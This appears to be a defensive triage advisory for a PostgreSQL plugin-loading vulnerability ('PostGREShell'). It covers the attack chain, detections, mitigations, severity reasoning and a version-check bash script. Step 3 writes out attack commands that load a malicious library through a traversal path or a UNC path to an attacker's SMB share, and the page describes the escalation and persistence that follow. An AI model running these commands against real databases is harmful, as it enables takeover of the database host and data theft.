Like leaving the loading dock unlocked because the guard only checks the front door
CVE-2026-6471 (PostGREShell) exploits a missing authorization check in PostgreSQL's logical decoding plugin loader. Since version 9.4 (2014), when a user with REPLICATION privilege creates a logical replication slot, the server passes the plugin name directly to dlopen() without validating whether it points to a trusted library. The attacker supplies a filesystem path — or on Windows, a UNC path to an attacker-controlled SMB share — as the plugin name, and PostgreSQL loads the malicious shared object into its own process. From there, the code modifies pg_authid to escalate to permanent superuser, rewrites pg_hba.conf for passwordless remote access, and optionally registers in shared_preload_libraries for restart persistence. Affected versions: PostgreSQL 9.4 through 18.5, 17.10, 16.14, 15.18, 14.23. Fixed in 18.6, 17.11, 16.15, 15.19, 14.24.
PostgreSQL scored this 7.2 HIGH, driven by PR:H — the attacker needs REPLICATION privilege, which is not granted by default. That framing is technically honest but strategically incomplete. PostgreSQL is a canonical production database engine: the majority of installs hold regulated or business-critical data, and any deployment using logical replication, CDC tools (Debezium, pglogical), or read replicas has at least one account with REPLICATION. Public PoC code exists on GitHub, the flaw sat unpatched for 12 years across five supported major branches, and the blast radius on a production data tier is mass data egress plus OS-level persistence. The vendor severity underweights the deployment-role multiplier.
5 steps from start to impact.
Obtain REPLICATION credentials
- PostgreSQL instance reachable over the network
- At least one role with REPLICATION exists in the cluster
- REPLICATION is not default — only purpose-built accounts carry it; typical clusters have 1–3 such accounts
- Cloud-managed PostgreSQL (RDS, Cloud SQL, Azure Database) often restricts replication slot creation APIs
pg_log; anomalous source IPs for replication connections visible in pg_stat_activity and pg_stat_replication.Verify logical decoding is enabled
wal_level = logical by querying SHOW wal_level or by attempting slot creation. If wal_level = replica (the default), logical replication slot creation with a custom plugin will fail. This is a hard prerequisite — without it the chain stops.wal_level = logicalmust be set (requires PostgreSQL restart to change)
- Default
wal_levelisreplica; only environments using CDC, logical replication, or pglogical change this - Changing
wal_levelrequires a restart, so the attacker cannot enable it themselves
SHOW queries logged at log_statement = all; unusual queries from replication accounts outside change windows.Create malicious replication slot with crafted plugin path
CREATE_REPLICATION_SLOT ... LOGICAL "../../../../tmp/evil" (Linux) or CREATE_REPLICATION_SLOT ... LOGICAL "\\attacker\share\evil" (Windows UNC). The protocol parser accepts path separators, traversal sequences, and UNC paths in double-quoted plugin names, bypassing check_restricted_library_name(). Weaponized tooling: goldendivider/cve-2026-6471-postgres-logical-decoding-dlopen (GitHub PoC); Cyera's PostGREShell research exploit.- Malicious
.so/.dllmust be accessible — on-disk for Linux, or via SMB/NFS for the Windows UNC variant - The plugin name must resolve to a valid shared library path from the server's perspective
- On hardened Linux, the attacker must first drop a file to disk — a secondary step requiring additional access
- Egress filtering blocking SMB port 445 neutralizes the Windows UNC path variant entirely
- SELinux/AppArmor in enforcing mode may deny
dlopen()on non-standard paths
pg_replication_slots.plugin for path separators (/, \, ..) or unexpected plugin names (should only be pgoutput, test_decoding, or known third-party plugins); log CREATE_REPLICATION_SLOT events.PostgreSQL loads attacker's library via dlopen()
dlopen() on the attacker-specified path and executes the library's initialization routines within the PostgreSQL backend process. Code runs as the postgres OS user with full access to shared memory, system catalogues, and the filesystem.- The server process can read the specified path
- No MAC policy (SELinux/AppArmor) blocks the load
- Well-configured SELinux
postgresql_tdomain denies loading from non-standard paths - Immutable container filesystems (read-only root) limit writable locations for malicious libraries
/proc/<pid>/maps of the postgres process; new child processes spawned by the database; strace/auditd logging of dlopen() calls.Escalate to superuser and establish persistence
pg_authid to set rolsuper = true on the attacker's role, rewrites pg_hba.conf to allow passwordless connections from any IP, and registers itself in shared_preload_libraries to survive restarts. The attacker now has permanent superuser access to every database on the cluster plus OS-level command execution via COPY ... PROGRAM or custom extensions.- In-process code has full access to PostgreSQL internals — no additional prerequisites
- None once step 4 succeeds — the code runs with full process privileges
pg_authid.rolsuper on unexpected roles; modifications to pg_hba.conf and shared_preload_libraries outside change windows; outbound connections from database hosts to new destinations.SELECT rolname, rolreplication FROM pg_roles WHERE rolreplication = true; and ALTER ROLE <name> NOREPLICATION for any account that doesn't operationally require it. Most clusters have 1–3 such accounts. This breaks the chain at step 1 for unnecessary accounts. Deploy within 3 days per the noisgate mitigation SLA for CRITICAL.host replication all 0.0.0.0/0 md5 with entries naming specific standby IPs and clientcert=verify-full. This prevents credential-only exploitation from arbitrary hosts. Deploy within 3 days.wal_level = replica in postgresql.conf and restart PostgreSQL. This completely prevents logical replication slot creation with custom plugins. Deploy within 3 days if logical decoding is confirmed unused. Requires a PostgreSQL restart.output_plugin_libraries allow-list restricting loadable plugins to pgoutput and test_decoding by default. Third-party plugins (wal2json, decoderbufs) must be explicitly registered post-patch or logical replication will silently fail. Test the allow-list configuration in staging before production rollout. Deploy within 90 days per the noisgate remediation SLA for CRITICAL.- Network ACLs on port 5432 alone — the attacker is already authenticated; restricting who can reach the port doesn't help if the replication account's credentials were stolen from a host that's already in the allow-list.
- WAF or SQL injection filters — this vulnerability is exploited through the PostgreSQL replication protocol (
CREATE_REPLICATION_SLOT), not through SQL injection; application-layer firewalls don't inspect streaming replication traffic. - Read-only replicas as isolation — the vulnerability is in the primary's logical decoding path; read replicas are not a mitigation, and a compromised replication account targets the primary directly.
The supporting signals.
| In-the-wild exploitation | No confirmed exploitation as of 2026-10-08. Not listed in CISA KEV. No GreyNoise tags observed for CVE-2026-6471. |
|---|---|
| Proof-of-concept | Public. At least 3 GitHub repos including goldendivider/cve-2026-6471-postgres-logical-decoding-dlopen. Cyera Research Labs developed a Windows UNC-path PoC during coordinated disclosure demonstrating end-to-end exploitation. The PoC delivers a malicious shared library and creates a logical replication slot naming it as the output plugin. |
| EPSS | 0.00528 (~82nd percentile) — low modeled probability of exploitation in the next 30 days, but this predates widespread PoC availability. |
| KEV status | Not listed as of 2026-10-08. |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (7.2) — network-exploitable with low complexity, but requires high privilege (REPLICATION role). Full confidentiality, integrity, and availability impact. Scope unchanged. |
| Affected versions | PostgreSQL 9.4 through 18.5, 17.10, 16.14, 15.18, 14.23 and all prior minors within each branch. 12 years of exposure since logical decoding shipped in 9.4 (2014). EOL branches (9.4–13) receive no fix. |
| Fixed versions | 18.6, 17.11, 16.15, 15.19, 14.24 (released 2026-08-13). Distro backports: RHEL via RHSA-2026:69924, RHSA-2026:67848, RHSA-2026:69876, RHSA-2026:72363. Debian LTS via DLA-4740-1. |
| Internet exposure | Shodan: ~1.3M PostgreSQL instances on port 5432. ZoomEye (2026-09-26): ~4.7M results for port 5432. Many with weak or misconfigured authentication (0.0.0.0/0 in pg_hba.conf). |
| Disclosure timeline | Reported 2026-02-21 by Vladimir Tokarev / Cyera Research Labs. Published 2026-08-13 alongside coordinated patch release across all supported branches. |
| Reporter | Vladimir Tokarev / Cyera Research Labs — research name "PostGREShell". Demonstrated privilege escalation from REPLICATION to superuser to OS-level RCE with persistence. |
Sources.
Why this verdict
- Role multiplier — production database tier: PostgreSQL is a canonical high-value component listed explicitly in the high-value-role catalog. The majority of its installed base serves production or regulated data (well above the 10% threshold). In these deployments, at least one account carries REPLICATION for HA/CDC/logical replication, and
wal_level = logicalis common. When the chain succeeds, the blast radius is mass data egress across all databases on the cluster plus OS-level RCE and persistent backdoor — tenant-to-host-scale compromise that meets the CRITICAL floor condition. - Public PoC lowers the exploitation bar: Working exploit code exists on GitHub (
goldendivider/cve-2026-6471-postgres-logical-decoding-dlopen) and Cyera demonstrated end-to-end exploitation including the Windows UNC variant. An attacker with REPLICATION credentials can weaponize this in minutes, not days. - 12-year exposure window compounds the installed base: The flaw has existed since PostgreSQL 9.4 (2014). Every unpatched minor version across five supported major branches is vulnerable, and EOL branches (9.4–13) will never receive a fix. The accumulated population of vulnerable instances across a decade of deployments is vast.
- PR:H is real but bounded friction: REPLICATION privilege is a genuine gate that prevents unauthenticated exploitation. However, it is routinely granted to service accounts for Debezium, pglogical, Patroni, repmgr, and other CDC/HA tools. These credentials often reside in config files, environment variables, Kubernetes secrets, or secrets managers — reachable after any adjacent compromise of the application tier.
Why not higher?
The chain cannot fire unauthenticated — REPLICATION is a specific privilege not held by application users, and wal_level = logical is not the default configuration. Cloud-managed PostgreSQL services (RDS, Cloud SQL, Azure Database for PostgreSQL) restrict replication slot creation and library loading at the platform level, significantly reducing the addressable population in cloud-heavy estates. No in-the-wild exploitation has been confirmed, and EPSS remains low at 0.00528.
Why not lower?
PostgreSQL is explicitly listed as a canonical high-value-role component (production database engine on data tiers). The outcome when the chain succeeds is mass data egress and OS-level persistence — meeting the floor condition for CRITICAL. The existence of public PoC code, the 12-year exposure window across five major branches, and the routine presence of REPLICATION accounts in production deployments all prevent downgrading past the CRITICAL floor. A generic 'requires high privilege' statement is not sufficient to break the floor when the affected component's primary deployment role is the high-value role itself.
Crowdsourced verification payload.
Run on each PostgreSQL host as any OS user that can invoke psql (or as postgres). Example: bash check_cve_2026_6471.sh — no arguments needed. The script auto-detects the PostgreSQL version, wal_level, and REPLICATION role count. Requires local psql access to the database.
#!/usr/bin/env bash
# check_cve_2026_6471.sh - Detect CVE-2026-6471 (PostGREShell) exposure
# Run on PostgreSQL host. Outputs: VULNERABLE / PATCHED / UNKNOWN
set -euo pipefail
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; NC='\033[0m'
# Attempt to get PostgreSQL version
if command -v psql &>/dev/null; then
PG_VERSION=$(psql -t -A -c "SELECT version();" 2>/dev/null || echo "")
PG_SERVER_NUM=$(psql -t -A -c "SHOW server_version_num;" 2>/dev/null || echo "")
WAL_LEVEL=$(psql -t -A -c "SHOW wal_level;" 2>/dev/null || echo "unknown")
REPL_ROLES=$(psql -t -A -c "SELECT count(*) FROM pg_roles WHERE rolreplication = true;" 2>/dev/null || echo "unknown")
elif command -v pg_config &>/dev/null; then
PG_VERSION=$(pg_config --version 2>/dev/null || echo "")
PG_SERVER_NUM=""
WAL_LEVEL="unknown"
REPL_ROLES="unknown"
else
echo -e "${YELLOW}UNKNOWN${NC} - psql and pg_config not found on this host."
exit 2
fi
if [ -z "$PG_SERVER_NUM" ]; then
echo -e "${YELLOW}UNKNOWN${NC} - Could not determine PostgreSQL server version."
echo "Detected: $PG_VERSION"
exit 2
fi
SERVER_NUM=$((10#$PG_SERVER_NUM))
# Fixed version numbers (server_version_num format: XXYYZZ)
# 14.24=140024, 15.19=150019, 16.15=160015, 17.11=170011, 18.6=180006
VULNERABLE=0
if [ $SERVER_NUM -ge 180000 ] && [ $SERVER_NUM -lt 180006 ]; then VULNERABLE=1
elif [ $SERVER_NUM -ge 170000 ] && [ $SERVER_NUM -lt 170011 ]; then VULNERABLE=1
elif [ $SERVER_NUM -ge 160000 ] && [ $SERVER_NUM -lt 160015 ]; then VULNERABLE=1
elif [ $SERVER_NUM -ge 150000 ] && [ $SERVER_NUM -lt 150019 ]; then VULNERABLE=1
elif [ $SERVER_NUM -ge 140000 ] && [ $SERVER_NUM -lt 140024 ]; then VULNERABLE=1
elif [ $SERVER_NUM -lt 140000 ] && [ $SERVER_NUM -ge 90400 ]; then
# PostgreSQL 9.4 through 13.x - all vulnerable, no fix for EOL branches
VULNERABLE=1
fi
echo "PostgreSQL server_version_num: $PG_SERVER_NUM"
echo "wal_level: $WAL_LEVEL"
echo "Roles with REPLICATION: $REPL_ROLES"
echo ""
if [ $VULNERABLE -eq 1 ]; then
echo -e "${RED}VULNERABLE${NC} - CVE-2026-6471 (PostGREShell)"
if [ "$WAL_LEVEL" = "logical" ]; then
echo -e " ${RED}EXPLOITABLE${NC} - wal_level=logical is set. Immediate risk."
else
echo " wal_level=$WAL_LEVEL (not 'logical') - reduced but not eliminated risk."
fi
if [ "$REPL_ROLES" != "unknown" ] && [ "$REPL_ROLES" -gt 0 ]; then
echo " $REPL_ROLES role(s) with REPLICATION attribute found."
fi
echo " Fix: upgrade to 14.24 / 15.19 / 16.15 / 17.11 / 18.6+"
exit 1
else
echo -e "${GREEN}PATCHED${NC} - PostgreSQL version is not affected by CVE-2026-6471."
exit 0
fi